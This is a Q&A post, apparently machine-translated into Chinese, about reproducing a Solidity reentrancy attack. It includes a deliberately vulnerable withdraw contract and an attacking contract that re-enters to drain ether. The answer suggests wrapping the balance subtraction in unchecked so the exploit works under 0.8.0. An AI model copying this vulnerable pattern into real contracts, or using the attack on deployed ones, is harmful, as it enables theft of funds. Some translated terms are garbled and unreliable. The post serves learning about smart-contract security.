Reentrant-Attacks
無法重現重入錯誤
我正在嘗試使用 solc 0.8.0 重現可重入錯誤:
我有兩個契約,
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Reentrancy { uint256 public withdrawalLimit = 1 ether; mapping(address => uint256) public lastWithdrawTime; mapping(address => uint256) public balances; function depositFunds() external payable { balances[msg.sender] += msg.value; } function withdrawFunds(uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); require(_weiToWithdraw <= withdrawalLimit); require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks); (bool success, ) = (msg.sender.call{value: _weiToWithdraw}("")); require(success); balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = block.timestamp; } }
另一個攻擊易受攻擊的合約
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Reentrancy.sol"; contract AttackReentrancy { Reentrancy public reentrancy; constructor(address _reentrancyAddress) { reentrancy = Reentrancy(_reentrancyAddress); } function attack() external payable { require(msg.value >= 1 ether); reentrancy.depositFunds{value: 1 ether}(); reentrancy.withdrawFunds(1 ether); } function collectEther() public { payable(msg.sender).transfer(address(this).balance); } receive() external payable { if (address(reentrancy).balance > 1 ether) { reentrancy.withdrawFunds(1 ether); } } }
但是當我用松露呼叫它時,它只會拋出異常
reentrancy.withdrawFunds(1 ether);
,我得到了Error: Returned error: VM Exception while processing transaction: revert
那麼,sol 編譯器中是否啟用了任何內置保護?
您的可重入不斷失敗的原因是這一行:
balances[msg.sender] -= _weiToWithdraw;
在 0.8.0 之後,編譯器會自動檢查溢出和溢出錯誤,並在發生這種情況時拋出異常。由於 balances 是 uint 的地址映射,因此沒有 0 以下的值,並且在嘗試提取的餘額超過餘額後,合約將嘗試減少 0 以下的餘額金額,導致下溢並引發錯誤,還原所有更改。
您可以使用
unchecked{balances[msg.sender] -= _weiToWithdraw;}
它來查看是否可以修復它。